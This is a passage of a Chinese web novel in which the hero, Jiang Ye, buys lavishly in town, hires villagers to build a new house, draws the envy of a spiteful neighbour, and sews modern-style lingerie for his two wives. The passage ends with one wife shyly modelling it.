看着她那仓皇离去的背影,江夜摸了摸下巴,嘴角的笑意愈发浓郁。
第36章 进城采买
送走落荒而逃的慕容晴,心情说不出的舒畅。
白梦夏和白梦秋正端着一盆热水进来,准备伺候他洗漱。姐妹俩看到他脸上的笑容,都有些好奇。
“夫君,什么事这么开心呀?”白梦秋眨着水灵灵的大眼睛,柔声问道。
江夜看着她们因为怀孕而愈发显得丰腴动人的身段,以及那充满了依赖和爱意的眼神,心头一片火热,随即又化为无尽的温柔。
他起身,从身后轻轻环住她们,下巴抵在她们的香肩上,感受着这来之不易的温馨。
“在想我们的新家。”
“新家?”
白梦夏和白梦秋对视一眼,美眸中瞬间亮起了璀璨的光。
“嗯。”江夜点点头,语气肯定,“今天我就进城,把盖房子要用的东西都买回来。等入冬前,就让你们住进咱们稻花村最大、最漂亮的青砖大瓦房。”
青砖大瓦房!
姐妹俩捂住了小嘴,眼中满是激动。对于她们而言,一座能遮风挡雨,温暖安全的房子,就是她们对“家”最美好的向往。
“夫君……”白梦夏眼圈一红,声音带着一丝哽咽。
“不许哭。”江夜板起脸,却伸手温柔地擦去她眼角的湿润,“等住进新家,有你们高兴的时候。”
他松开手,在两张吹弹可破的俏脸上各自亲了一口:“在家乖乖等我,我去去就回。”
吃过早饭,江夜换了身干净的衣服,搭上了村里王大叔的牛车,晃晃悠悠地向县城驶去。
牛车上还有几个同村的乡亲,他们看着江夜,眼神里都带着几分敬畏和疏远。如今的江夜,在他们眼中,早已不是那个可以随意调侃的懒汉,而是能徒手打死猛虎、单人灭掉山匪的煞神。
一路上,没人敢主动跟江夜搭话,气氛有些沉闷。
江夜也乐得清静,靠在牛车上,闭目养神,在脑海中盘算着今天要采购的清单。
到了县城,江夜便独自一人,径直走向城中最繁华的东市。
东市人声鼎沸,车水马龙。
江夜先是走进了最大的一家布庄。
掌柜的是个精明的中年人,一看来人穿着普通,便有些爱答不理,随手一指角落:“客官,那边都是些结实耐磨的粗布,您自个儿看。”
江夜没理他,目光直接略过那些粗布麻衣,落在了货架最高处那几匹色泽华丽、光彩夺目的锦缎上。
他伸手指了指:“那几匹,还有旁边那些苏绣云锦,都给我包起来。”
掌柜的一愣,顺着他手指的方向看去,眼珠子差点瞪出来。那可都是店里最贵的料子,一匹就够寻常人家吃用一年了!
他以为江夜是来捣乱的,脸色一沉:“客官,那些料子可不便宜……”
“我问你价钱了吗?”江夜淡淡地瞥了他一眼。
“唰”地一下,他从怀里掏出一张百两的银票,拍在柜台上。
“够不够?”
掌柜的看到银票,脸上的不耐瞬间变成了谄媚的菊花笑,腰都弯了下去:“够!够!客官您稍等,我这就给您取下来!”
很快,几个伙计手忙脚乱地将十几匹最上等的绸缎布匹打包妥当。
江夜付了钱,让伙计把东西送到城门口的牛车旁,自己则转身走向了对面的粮油铺子。
“老板,最好的白米、精面,各来二十袋。”
“好嘞!”
“上好的菜油、猪油,各来十大罐。”
“得嘞!”
江夜花钱如流水,眼睛都不眨一下。从粮食油盐,到锅碗瓢盆,再到胭脂水粉、蜜饯糕点,只要是能想到的,他都买最好的,买最多的。
半个时辰后,东市的商贩们都轰动了。
他们看着那个出手阔绰、身后跟着好几个帮忙扛东西的伙计的年轻人,都在议论这是哪家来的豪绅公子。
采购完生活用品,江夜又去了铁匠铺,按照自己脑中的图纸,定制了一整套用于木工和石匠活的工具,从锯子、斧头到墨斗、刨子,无一不精,光是定金就付了十几两银子。
最后,他来到了城西的骡马市。
这里气味混杂,到处都是牲口的嘶鸣和商贩的叫卖声。
他绕过那
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些卖驴卖牛的,径直走到一个马贩子面前。
马贩子正在给一匹高头大马梳理鬃**,那马通体枣红,四蹄有力,肌肉线条流畅,一看就是能日行数百里的良驹。
“这马怎么卖?”江夜开口。
马贩子打量了江夜一眼,伸出五根手指:“五十两,不二价。”
周围的人都倒吸一口凉气,这年头,五十两银子,都够在县城买个小院子了。
“好。”江夜眼皮都没眨一下,“再给我配一架最好的马车。”
马贩子彻底愣住了。
很快,一辆崭新气派、带着车棚的马车被牵了出来。
江夜牵着马,拉着崭新的马车,将之前采买的所有东西都装了上去。
可东西实在太多,一辆马车根本装不下。
江夜站在堆积如山的货物前,眉头都没皱一下。
他走到市集中央,清了清嗓子,声音不大,却清晰地传遍了整个骡马市。
“招车夫!去稻花村,一趟活,工钱一百文!”
“轰”的一下,整个骡马市都炸了锅。
无数闲着的车夫,瞬间围了过来。
“爷,选我!我的马车最稳!”
“我的马跑得快!”
江夜随手点了七八辆车,让他们去粮店和工具铺门口装货。
片刻之后,一幕让整个青石县城都为之侧目的景象出现了。
一辆崭新气派的马车,由江夜亲自驾驭,走在最前面。
在它身后,浩浩荡荡地跟着八辆装得冒尖的板车和牛车,米面粮油、锅碗瓢盆、各色工具……组成了一支规模庞大的车队。
车队所过之处,行人纷纷侧目,议论声四起。
“我的乖乖,这是哪家的大户在搬家?”
“不像啊,没见过这号人物,怕不是哪个外地来的大官商?”
江夜坐在高高的马车上,迎着众人或震惊、或羡慕、或敬畏的目光,神色淡然。
他一手握着缰绳,轻轻一抖。
“驾!”
浩浩荡荡的车队,碾过青石板路,朝着稻花村的方向,滚滚而去。
第37章 这是啥动静
车队到稻花村时,已是中午了。炊烟袅袅,鸡犬相闻,一派祥和。
田埂上,三三两两扛着锄头的村民正往家走,有一搭没一搭地聊着今天的收成。
然而,这份宁静很快就被打破了。
一阵沉闷而持续的“轰隆”声,由远及近,从官道上传来。
声音越来越响,连地面都似乎在微微震动。
“啥动静?”
村口老槐树下,几个刚从田里回来的汉子停下脚步,疑惑地望向村外。
“该不是官府又来催缴税粮了吧?”有人忧心忡忡。
“不对,这动静太大了,倒像是……像是有大队人马过来了!”
话音刚落,一支队伍的轮廓便出现在了地平线上。
走在最前面的,是一匹通体枣红的高头大马,神骏非凡,比村里最壮的耕牛还要高出一头。马上,还拉着一架崭新气派、带着顶棚的马车。
而在马车之后,竟然浩浩荡荡地跟着七八辆牛车、板车,每一辆都装得冒了尖,堆得像一座座移动的小山。
整个稻花村的村民,都被这前所未有的阵仗惊动了。
人们纷纷从自家院子里探出头,全都朝着村口**过来,伸长了脖子张望。
“我的老天爷,这是哪家的大官路过咱们这穷乡僻壤了?”
“你们看那些车上拉的,我的乖乖……”
议论声、惊叹声此起彼伏。
所有人的目光,都死死地盯着那支越来越近的车队,眼神里充满了好奇、敬畏,还有一丝底层百姓面对权贵时本能的紧张。
车队缓缓驶入村口,速度放慢。
村民们下意识地向道路两旁退去,屏住了呼吸。
所有人的目光,都聚焦在那匹神骏的枣红大马,以及马背上那个驾车的男人身上。
那人一身干净的青布短衫,身姿挺拔如松,脸上神情淡然,迎着全村人惊疑不定的目光,没有半分波澜。
当车队离得更近,终于有人看清了那张脸。
“那……那是……”一个村民揉了揉眼睛,声音都变了调。
“是……是江夜?!”
不知是谁先喊出了这个名字,像一道惊雷,在死寂的人群中炸开。
全村失声。
时间,在这一刻仿佛被按下了暂停键。
所有人的表情,都凝固在了脸上。
江夜他……他怎么会驾着如此气派的马车,领着这么一支庞大的车队回来了?
车队没有停歇,在全村人呆若木鸡的注视下,径直穿过人群,最终停在了村东头那间最破败、最扎眼的土坯房前。
崭新神骏的马车,堆积如山的物资,与那摇摇欲坠、墙皮剥落的破房子,形成了无比刺眼、无比荒诞的对比。
“咕咚。”
有人艰难地咽了口唾沫,打破了这诡异的死寂。
随即,人群像是炸开的油锅,爆发出海啸般的嗡嗡声。
“看!车上拉的是什么?是米!是雪白的精米!”
“不止!还有面!天啊,整整十几袋!”
“那些布……你们看那些布料!在太阳底下闪着光!那不是绸缎吗?我只在县城里的贵人身上见过!”
“还有那些工具,崭新的铁器!斧头、锯子、刨子……全都是新的!”
“锅碗瓢盆,油盐酱醋……我的娘,他这是把整个县城都搬回来了吗?!”
村民们的眼珠子都快从眼眶里瞪出来了。
他们看着那些琳琅满目的物资,每一件,都是他们平日里想都不敢想的好东西。尤其是那几匹色泽华丽、光彩夺目的锦缎,更是让村里的女人们呼吸都急促起来,眼睛里冒着绿光。
所有人的世界观,都在这一刻被颠覆,被碾碎,然后又被强行重塑。
他们看着江夜的眼神,变了。
从最初的震惊,到不敢置信的骇然,最终,化为了深深的敬畏。
人群的后方,王翠花也混在其中。
她死死地盯着那辆马车上,一匹水蓝色的绸缎,那颜色,比天空还要清透,比溪水还要明亮。她下意识地摸了摸自己身上那件打着好几个补丁的粗布衣裳,只觉心里一片酸涩。
凭什么?
那个懒汉,那个败家子,他凭什么能拥有这些?
她的牙齿咬得咯咯作响,眼睛因为充血而变得通红,指甲深深地掐进了掌心的肉里,却感觉不到一丝疼痛。
而作
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为风暴中心的江夜,却对这一切恍若未闻。
他神情淡然地从高高的马车上一跃而下,动作干脆利落。
他没有看周围任何一个村民,径直走到那几个跟着来的车夫面前,从怀里掏出一把铜钱,挨个分发下去。
“卸货吧,都搬进院子里,小心些。”
他的声音不大,却带着一股不容置疑的威严。
几个车夫都是县城里的人,见惯了场面,此刻却也对这个出手阔绰的年轻人恭恭敬敬,应了一声,便开始手脚麻利地往下搬东西。
就在这时,“吱呀”一声,那扇破旧的院门从里面被推开了。
白梦夏和白梦秋姐妹俩听到外面的动静,好奇地走了出来。
当她们看到门口的景象时,瞬间呆住了。
那匹神骏的大马,那辆气派的马车,还有那一车车堆积如山的崭新物资……
姐妹俩不约而同地用小手捂住了嘴巴,那双一模一样的绝美眼眸里,先是震惊,随即,便被一种无法言喻的惊喜与自豪所填满。
她们的目光越过那如山的货物,越过那一张张震惊骇然的脸,最终,牢牢地落在了那个男人身上。
她们的夫君。
江夜无视了身后所有的目光,径直走向她们。
他脸上没有了在外人面前的冷漠,取而代之的,是一抹温柔到骨子里的笑容。
“回来了。”他走到她们面前,声音轻柔。
他伸出手,极其自然地,为白梦夏理了理被风吹乱的鬓角发丝。
“让你们久等了。”
他看了一眼姐妹俩身后那间漏风的土坯房,又看看她们眼中那璀璨的光,笑着说:
“这地方,太委屈你们了。”
“等过几天,我就把这里推平,给你们盖一座全天下最好的房子。”
全天下最好的房子。
他的声音很轻,却狠狠地砸在了每一个竖着耳朵偷听的村民心上。
白梦夏和白梦秋再也忍不住。
眼泪,像是断了线的珍珠,从她们美丽的眼眸中滑落。
不是委屈,不是伤心,而是满溢出胸膛的甜蜜与幸福。
她们说不出话,只能用力地点着头。
第38章 顿顿有肉!
车夫们得了赏钱,干活十分卖力,一件件货物被小心翼翼地搬进江夜家那小得可怜的院子,很快就堆得连下脚的地方都没有。
江夜付清了尾款,打发走了车夫。
全村的男女老少,有一个算一个,全都还围在他家门口,伸长了脖子,对着院里那堆积如山的物资指指点点,眼睛里冒着绿光,喉咙里不断发出吞咽口水的声音。
那不是普通的粮食布匹,那是他们一辈子都可能挣不来的好日子。
江夜环视一圈,看着村民们脸上那混杂着震惊、羡慕、贪婪的复杂神情,他清了清嗓子,声音不大,却清晰地传入了每个人的耳朵。
“各位乡亲,我江夜,准备把这老房子推了,盖个新房。”
人群中一阵骚动。
盖新房?就这手笔,那得盖成啥样?怕不是要盖成县城里老爷们住的那种青砖大瓦房!
不等众人从震惊中回过神,江夜的下一句话,瞬间掀起了滔天巨浪。
“盖房需要人手,我准备在村里招一批帮工。”他顿了顿,目光平静地扫过一张张瞬间变得炽热的脸,“工钱,每日十文!管两顿饭,顿顿有肉!”
“轰!”
人群彻底炸了。
“啥?我没听错吧?一天十文?!”
“还管两顿饭!顿顿有肉!我的老天爷,这是真的吗?县城里最好的短工,一天也才八文钱,还不包吃!”
“江夜这是发了多大的财啊!”
村民们疯了。
他们的眼睛瞬间变得通红,呼吸急促,死死地盯着江夜,那眼神,像是饿了三天三夜的狼,看到了一头肥硕的羔羊。
十文钱一天,一个月就是三百文!
再加上那两顿管饱的肉饭,这哪里是做工,这简直是天上掉下来的福气!
“江夜兄弟!选我!我力气大,一个人能顶两个人用!”
“江夜!我是你三叔公家的远房侄子啊!你得先紧着自家人!”
“我!我!我不要工钱,管饭就行!”
一时间,整个场面彻底失控。村民们像潮水一样向前涌去,一个个争先恐后,挤得头破血流,只为了能离江夜更近一点,让他看到自己的脸。
人群的后方,王翠花的一双三角眼滴溜溜地转着,很快便计上心来。
只见她猛地一弯腰,像条泥鳅似的,从几个壮汉的胳肢窝底下钻了过去,一边挤还一边嚷嚷:“让让!都让让!别挤着江夜兄弟了!”
费了九牛二虎之力,王翠花终于挤到了最前面。
她抬起头,脸上瞬间堆满了谄媚的笑容。
“哎哟,江夜啊,你看你,出息了也不跟婶子说一声。”
她亲**凑上前,声音腻得发慌,“盖房子是大事,可得找个手脚麻利、会来事儿的人帮你盯着。你看婶子我怎么样?我别的本事没有,就是手脚快,保管给你把家里家外都收拾得妥妥帖帖!”
她一边说,一边还想伸手去拉江夜的衣袖,一副亲热模样。
周围的村民都停下了吵嚷,眼神古怪地看着这一幕。
江夜的目光,终于落在了王翠花的脸上。
那眼神,冰冷,淡漠,不带一丝一毫的感情,就像在看一块路边的石头。
他什么话也没说,只是抽回了自己的手,直接移开视线,仿佛她这个人根本就不存在一样,目光越过她,看向了她身后的人群。
王翠花那满脸谄媚的笑容,瞬间僵在了脸上。
所有人的目光,都聚焦在她那张由白转青,再由青转紫,最后变得铁黑的脸上。
那是一种赤裸裸的、毫不掩饰的无视。
比任何恶毒的咒骂,都更伤人,更让人难堪。
“噗嗤。”
不知是谁,没忍住,笑出了声。
这一声笑,像是一根针,狠狠扎破了王翠花最后的伪装。
村民们或同情、或讥讽、或幸灾乐祸的目光,像无数把刀子,刮在她脸上,火辣辣地疼。
她感觉自
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己就像一个脱光了衣服的小丑,在众人面前尽情表演,却只换来了无情的嘲弄。
一股怨毒的恨意从心底涌起,她死死地瞪了江夜的背影一眼,在众人的指指点点中,灰溜溜地钻出人群,像一只斗败的瘟鸡,狼狈地逃回了家。
江夜对这个小插曲毫不在意。
他的目光在人群中扫过,最终,定格在了一个憨厚汉子的脸上。
“王囤大哥。”
王囤浑身一震,不敢置信地指了指自己:“江……江夜兄弟,你叫我?”
“嗯。”江夜点点头,“这工头,你来当。另外,你再挑十几个平日里为人老实、干活肯下力气的乡亲,明天一早,到我这儿来开工。”
幸福来得太过突然,王囤的大脑一片空白,他张着嘴,半天没说出话来,眼眶却一下子就红了。
周围的村民,则用一种羡慕到发狂的眼神看着他。
这不止是找到了一个天大的好活计,更是得了江夜的青眼,以后在这稻花村,谁还敢小瞧他王囤家?
“谢谢……谢谢江夜兄弟!”王囤回过神来,对着江夜,深深地鞠了一躬,声音都哽咽了。
很快,在王囤的主持下,十几个名额被迅速定了下来。
被选中的人,无一不是平日里村中口碑极好,踏实肯干的老实人。他们一个个喜形于色,激动得满脸通红,对着江夜千恩万谢。
而那些没被选中的,则个个垂头丧气,满脸失落与懊悔。
一些曾经在背后说过江夜闲话,或者跟着王翠花起过哄的人,此刻更是肠子都悔青了。
他们看着那些被选中的人,仿佛看到了白花花的银子和香喷喷的肉,再看看自己,只能回家喝那清汤寡水的稀粥,心里说不出的酸楚。
这一刻,所有人都明白了一个道理。
江夜,已经不再是以前那个可以任人欺辱嘲笑的江夜了。
他的一句话,就能决定稻花村里,哪家今天能吃上肉。
第39章 盖房!
下午,日头正烈。
被王囤选中的十几个汉子,一个个光着膀子,扛着自家的锄头和铁锹,准时出现在了江夜家的院子前。
江夜也不废话,等人都到齐了,便从屋里拿出那几张画好的图纸,在院里唯一一张还算平整的破桌上摊开。
“都过来看看。”
汉子们好奇地凑了上来,伸长了脖子往图纸上瞅。
下一秒,所有人都愣住了。
只见那巨大的白纸上,画满了密密麻麻、横七竖八的线条和一些他们完全看不懂的符号,旁边还标注着一串串奇怪的数字。
“江……江夜兄弟,这……这是啥?”王囤挠了挠头,满脸困惑,“跟鬼画符似的,俺……俺咋一个都看不懂?”
“就是啊,这房子是这么盖的吗?”另一个汉子也小声嘀咕,“不都是拉个大概的框,就直接挖地基了?”
村民们的议论声中,江夜只是笑了笑。
他拿起一根木炭笔,在图纸上点了点:“这叫图纸,新房就照着这个盖。长多少,宽多少,墙多厚,窗户开在哪儿,上面都写得清清楚楚。”
他看向王囤:“王囤大哥,你带几个人,跟我来。”
王囤虽然还犯嘀咕,但还是很快就应了下来。
江夜领着人,拿着木桩和长长的麻绳,走到了准备盖新房的空地上。
在村民们不解的目光中,江夜亲自测量,指挥着几人将一根根削尖的木桩精准地钉入地面,然后用麻绳在木桩之间拉出数道笔直的线,很快,一个巨大而完美的矩形框架便出现在众人眼前。
“照着线挖,挖三尺深,底部要平。”江夜下达了最简单的指令。
汉子们虽然不明白为什么要搞得这么复杂,但还是老老实实地挥起了锄头。
江夜的神级工匠技艺在脑中飞速运转,他仿佛一个经验最老道的总工程师,每一个步骤都了然于胸。
他找来一根中空的细竹管,灌满水,两头用软木塞堵住,一个简易的水平仪就做好了。
他把这个“怪东西”交给正在挖地基的汉子:“挖得差不多了,就把这个放上去,看两头的水面,一样高了,就说明地基是平的。”
汉子们将信将疑地试了试,当他们发现无论怎么移动竹管,只要地面平整,两头的水面就始终保持在同一高度时,一个个都惊得目瞪口呆。
“神了!这玩意儿太神了!”
“比老师傅的眼睛还准!”
有了这些“神器”和明确的指令,村民们干活的效率出奇地高。原本需要一整天才能挖好的地基,一个下午不到,就挖出了一个又深又平整的巨大沟槽。
墙角、承重柱的位置,江夜都用石灰撒上了清晰的标记,分毫不差。
整个工地,忙而不乱,井然有序。
那些没被选上、在远处围观的村民,看着眼前这番景象,都傻眼了。
他们盖了一辈子房,从没见过这种干法。
在他们看来,江夜的那些操作,简直就像是变戏法,虽然看不懂,但就是觉得厉害,觉得高深莫测。
日头渐渐西斜,工地上的人虽然累得汗流浃背,但心里却无比畅快。
就在这时,一股霸道到极致的肉香,毫无征兆地从江夜家的院子里飘了出来。
那香味,浓郁、醇厚,带着咸香,蛮不讲理地钻进了工地上每一个人的鼻孔里,瞬间就勾出了他们肚子里的馋虫。
“咕噜……”
不知是谁的肚子先叫了起来,紧接着,此起彼伏的吞咽口水声在工地上响起。
汉子们手上的动作都慢了下来,一个个伸长了脖子,使劲嗅着空气中那要命的香味,眼睛都开始发绿。
“开饭了——!”
白梦夏清脆悦耳的声音传来。
“嗷——!”
汉子们发出一声欢呼,扔下工具,像一群饿狼般冲向场地旁临时搭的小棚子。
当他们看到棚子里的景象时,全都走不动道了。
只见棚子中央,摆着两个巨大的木盆。左边那个,装满了冒着尖的白米饭,米粒晶莹剔透,热气腾腾。
而右边那个盆里,是满满一盆红烧肉!
每一块肉,都切得有小儿拳头那么大,肥瘦相间,被炖得软烂入味,裹着一层浓稠油亮的酱汁,在夕阳下闪烁着诱人的光泽。旁边还放着一桶清可见底的菜叶汤。
工人们的呼吸,瞬间就停滞了。
他们这辈子,别说吃了,就是见都没见过这么实在的肉菜!
白梦秋有些羞涩地给每个人发着碗筷,柔声说:“夫君说了,管饱,大家别客气。”
王囤端着碗,手都有些发抖。他回头看了一眼那些眼巴巴的汉子,带头喊了一声:“谢谢江夜兄弟!谢谢两位弟妹!”
“谢谢江
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夜兄弟!”众人齐声大吼,声震四野。
下一刻,所有人都疯了。
他们围着两个大木盆,狼吞虎咽。一大勺白米饭,再浇上一勺油汪汪的肉汁,夹起一块颤巍巍的红烧肉塞进嘴里,那滋味,简直能把舌头都鲜掉。
一个四十多岁的汉子,平日里在村里是出了名的硬骨头,此刻却一边大口地扒着饭,一边眼泪“唰唰”地往下掉。
他没哭出声,只是用那沾满油污的袖子胡乱抹了一把脸,然后继续埋头猛吃,仿佛要把这辈子没吃过的肉都补回来。
他家里有三个孩子,一年到头,连点油星子都见不着。今天这顿饭,他感觉自己不是在吃饭,是在吃命。
整个院子,只听得见呼噜呼噜的吃饭声和满足的咀嚼声。
这顿饭,吃得酣畅淋漓。
……
肉香,是没有墙能挡住的。
它飘过田埂,越过篱笆,精准地钻进了村里每一户人家的窗户缝里。
王翠花家。
她正坐在院里的小板凳上,就着一碟黑乎乎的咸菜,喝着能照出人影的稀粥。
当那股浓郁到化不开的肉香飘来时,她手里的筷子“啪嗒”一声掉在了地上。
她猛地站起身,冲到墙边,侧着耳朵听。
隔壁不远处,江夜家的方向,传来一阵阵震天的欢呼声和男人们粗犷的笑声。
“吃!吃!吃!就知道吃!一群饿死鬼投胎的玩意儿!”
王翠花气得浑身发抖,一张脸扭曲得不成样子。
她仿佛能看到那些人围着大盆吃肉的场景,那油亮的肥肉,那雪白的米饭……
她咽了口唾沫,只觉得嘴里的稀粥寡淡得像水一样。
凭什么?
凭什么那个好吃懒做的江夜能过上这样的好日子?
凭什么那些泥腿子能顿顿吃肉?
而她,只能在这里喝稀粥,闻着肉香干瞪眼?
一股无名火“噌”地一下从脚底板烧到了天灵盖。
“我咒你!咒你盖的房子明天就塌方!把你那两个狐狸精老婆,还有那群短命的工人,全都埋进去!”
她叉着腰,在自家院子里跳着脚,用最恶毒的语言,一遍又一遍地咒骂着。
然而,她的咒骂,除了让她自己更加面目可憎之外,根本传不到那片欢声笑语之中。
反而,那随风飘来的肉香,变得更浓了。
第40章 夫君,这是何物?
傍晚,送走了最后一批心满意足的工人,整个工地终于安静下来。
夕阳的余晖将院子染成一片温暖的橘黄。江夜站在那片被挖得整整齐齐的地基前,看着自己亲手规划出的一切,心中满是成就感。
他脱下被汗水浸透的上衣,随手搭在肩上,露出一身精壮结实的肌肉,古铜色的皮肤在暮色中泛着健康的光泽。
“夫君,回来了。”
两道娇柔的身影从屋里迎了出来,正是白梦夏和白梦秋。
她们看到江夜一身的尘土和汗水,美眸里顿时写满了心疼。
白梦夏快步上前,从江夜手里接过那件脏衣服,白梦秋则已经端来了一盆早已备好的热水,水面上还飘着几片清香的皂角。
“夫君辛苦了,快擦擦身子。”
江夜笑着坐到屋里的小凳上,将双脚伸进温热的水里,舒服地长出了一口气。
白梦夏跪坐在他身前,挽起袖子,露出一截雪白皓腕。她的小手轻柔地握住江夜的脚,细细地揉搓着,力道不轻不重,恰到好处。
白梦秋则拿着一块干净的棉布,浸了水,拧干,仔细地为他擦拭着后背和胸膛。少女柔软的指腹不时划过他坚实的肌肉,带起一阵微麻的痒意。
发梢的馨香,温热的水汽,还有她们身上独有的淡淡馨香,混杂在一起,形成一种能让任何男人都为之沉沦的温柔乡。
江夜闭着眼,享受着这帝王般的待遇,前世奔波劳碌,何曾有过这般光景。
洗去一身的疲惫,江夜神清气爽。
姐妹俩正准备收拾东西,却**夜叫住。
“等一下,有东西给你们。”
江夜神秘一笑,转身从一个今天带回来的包裹里,抱出两匹崭新的布料,在桌上摊开。
一匹是月白色的,在灯光下像流动的月光,细腻光滑;另一匹是浅粉色的,如初绽的桃花,娇嫩欲滴。
那是他白天从县城里买回来的,最上等的江南丝绸。
“呀!”
姐妹俩同时发出一声低低的惊呼,不约而同地伸出小手,小心翼翼地触摸着那柔滑的布料。
指尖传来的触感,如婴儿的肌肤般细腻。她们只在还是官家小姐时,穿过这般华美的衣裳。自从家道中落,她们身上穿的,不是粗麻就是布衣,何曾想过有一天,自己还能拥有这样珍贵的料子。
“喜欢吗?”江夜看着她们爱不释手的样子,心里一片柔软。
“喜欢……”白梦夏抬起头,美眸中水光潋滟,“可是夫君,这太贵重了……”
白梦秋也连连点头,小脸上满是不安:“我们……我们穿粗布的就好,这么好的料子,拿去卖了,能换好多米呢。”
她们是真心觉得,把这么好的东西穿在身上,太浪费了。
江夜却笑了,他伸手刮了刮白梦秋的琼鼻:“傻丫头,我江夜的女人,就该穿最好的,用最好的。米会有的,肉也会有的,好衣服,更要有。”
他拉着两女的手,让她们在桌边坐下。
“等着,我给你们做几件新衣裳。”
说着,江夜拿起白天顺手买回来的炭笔和一把锋利的大剪刀。
姐妹俩面面相觑,都有些发懵。
做衣服?夫君还会做衣服?
在她们的认知里,针线活都是女人的事情,男人舞刀弄枪,下地干活,哪有会做这个的。
白梦秋好奇地凑过去,为江夜研墨,一双灵动的大眼睛眨也不眨地盯着他。
江夜没有解释,他拿起炭笔,神级工匠技艺瞬间发动。
无数精妙绝伦、超越了这个时代审美的服装图样,在他脑海中如潮水般涌现。他手腕轻动,炭笔在巨大的白纸上飞速游走。
不过片刻功夫,几款造型奇特的衣物草图便跃然纸上。
白梦夏和白梦秋好奇地探过头去看。
那图纸上画的衣物,她们从未见过。有的只用两根细细的带子挂在肩上,有的则紧紧包裹着身体的曲线,还有的裙摆极短,堪堪能遮住大腿……
姐妹俩的俏脸,“唰”地一下就红透了。
这……这也太……太不知羞了。
这要是穿出去,怕不是要被村里人的唾沫星子淹死。
江夜看着她们羞红的脸蛋,哪能不知道她们在想什么,他嘿嘿一笑,也不解释,拿起剪刀,便开始在那些光滑的丝绸上动手。
接下来的场面,让姐妹俩彻底看呆了。<
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br>只见江夜一手按着布料,一手持剪,那把沉重的大剪刀在他手中,仿佛有了生命一般,轻盈得像一只蝴蝶。
“咔嚓,咔嚓……”
剪刀开合之间,没有丝毫的犹豫和停顿,行云流水,一气呵成。一道道完美的弧线,一条条笔直的边缘,就在那清脆的声响中被裁剪出来。
他甚至不需要尺子去量,双眼就是最精准的标尺。
裁剪完毕,他拿起针线。
那根细小的绣花针,在他那双孔武有力的大手中,却灵活得不可思议。
穿针、引线、打结,动作快得只剩下一片残影。
他的手指在布料间飞速穿梭,时而平缝,时而倒勾,时而锁边……针脚细密、均匀,比村里手艺最好的绣娘还要精湛百倍。
姐妹俩已经完全忘记了羞涩,她们痴痴地看着江夜。
灯光下,他专注的侧脸,棱角分明,那双平日里总是带着几分淡然和懒散的眸子,此刻却亮得惊人。
原来……原来男人认真做一件事的时候,可以这么好看。
她们的心,跳得越来越快,一种名为崇拜的情愫,在心底疯狂滋生、蔓延。
时间在不知不觉中流逝。
不过半个时辰,江夜停下了手中的动作,将最后一件衣物的线头咬断。
他拿起自己的“杰作”,在姐妹俩面前抖开。
一共三件。
一件是月白色的丝绸吊带睡裙,裙摆堪堪到大腿中段,剪裁极简,却完美地勾勒出了女性的身体曲线,轻薄的料子在灯光下近乎半透明,带着一种朦胧而致命的诱惑。
另外两件,则是浅粉色的,一套是后世的蕾丝边内衣裤款式,另一套则是肚兜的改良版,用细细的带子在背后交叉系住,比传统的肚兜更加清凉,也更加凸显身材。
“这……这是……”
白梦夏和白梦秋看着眼前这几件“奇装异服”,大脑一片空白。
她们从未想过,衣服……还能做成这个样子。
布料少得可怜,款式大胆得让她们心惊肉跳。
江夜将那几件轻飘飘的丝绸衣物塞进她们怀里,声音带着一丝蛊惑的笑意。
“去,试试合不合身。”
第41章 这如何穿得出去?
那几件轻飘飘的丝绸衣物,静静地躺在白梦夏和白梦秋姐妹俩的怀里,触感滑腻冰凉,却烫得她们指尖发颤。
姐妹俩的目光,死死地钉在那几片少得可怜的布料上,俏脸上的红晕,从脸颊一直蔓延到了雪白的脖颈,最后连耳根都烧了起来。
那月白色的,说是裙子,却薄如蝉翼,两根细细的带子挂在肩上,仿佛一扯就断,裙摆短得让她们心惊肉跳。
还有那浅粉色的,更是闻所未闻,见所未见。一块勉强能护住胸前,另一块更小,这也能叫衣物?这分明就是……
“夫君,这……这如何穿得出去?”白梦夏的声音细若蚊蝇,她抱着那件吊带睡裙,仿佛抱着一团火,丢也不是,拿也不是。这要是穿在身上,怕是连房门都不敢出。
白梦秋更是把头埋得低低的,小脸红得快要滴出血来,她手里的那套“亵衣”,布料少得可怜,上面还缀着些从未见过的精巧花边,让她羞得恨不得找条地缝钻进去。
她们是江夜的女人,夫君让做什么,她们都该顺从。可这件事,实在是超出了她们二十年来所有的认知。
江夜看着她们那副羞窘交加的可爱模样,心头一阵火热,嘴角的笑意却更浓了。
他没有多费口舌解释什么叫情趣,什么叫闺房之乐。
有些事,做了,就懂了。
他站起身,走到姐妹俩面前,不由分说地拿过她们手中的衣物,一手拉着一个,将她们半推半就地拥进了里屋。
“快换上,让我看看。”他的声音里带着不容置喙的霸道和一丝蛊惑的沙哑。
“砰”的一声,里屋的木门被轻轻关上。
屋外,江夜好整以暇地坐回桌边,给自己倒了一杯凉茶,慢慢地品着,耳朵却竖了起来,仔细听着里屋的动静。
屋里先是传来一阵窸窸窣窣的衣物摩擦声,紧接着,是姐妹俩压抑到极致的低呼。
“姐姐这,这怎么穿啊……”
“别看我……秋儿,你先穿……”
听着里面那又羞又急的动静,江夜嘴角的弧度越拉越大,只觉得口干舌燥,一杯凉茶下肚,心里的火却烧得更旺了。
时间一点一滴地过去,仿佛过了一个世纪那么久。
里屋的门,终于“吱呀”一声,被推开了一道小小的缝隙。
白梦夏的俏脸,从门缝后探了出来。
她已经换上了那件月白色的丝绸吊带睡裙。
昏黄的灯光下,那张温柔婉约的脸蛋,此刻染着一层醉人的酡红,一双水光潋滟的美眸,怯生生地望着江夜,带着三分羞,三分怯,还有四分不知所措。
江夜的呼吸,猛地一滞。
他放下茶杯,目光如炬,直直地望了过去。
在江夜的注视下,白梦夏咬着红唇,终究还是鼓起勇气,缓缓从门后走了出来。
江夜只觉得一股热血直冲头顶。
眼前的景象,比他想象中还要惊艳百倍。
月白色的丝绸,如流动的月光,轻柔地包裹着她因怀孕而愈发丰腴饱满的动人曲线。那料子极薄,紧紧地贴合着她的身子,将那不堪一握的纤腰,勾勒得淋漓尽致。
两条纤细的吊带,堪堪挂在她圆润的香肩上,灯光下,她的皮肤仿佛上好的羊脂美玉,散发着莹润的光泽,让人忍不住想伸手触摸。
裙摆只到大腿中段,一双匀称笔直的美腿就这么毫无遮拦地暴露在空气中,在灯影下显得愈发雪白修长。
绝美的容颜,成熟的风韵,再加上这身超越时代的性感装束,形成了一种极致的反差,一种温柔与诱惑交织的致命吸引力。
白梦夏被他看得浑身发烫,手脚都不知道该往哪里放,只能下意识地用手捂住胸口,却更显欲盖弥彰。
就在这时,白梦秋也扭扭捏捏地从她身后探出头来。
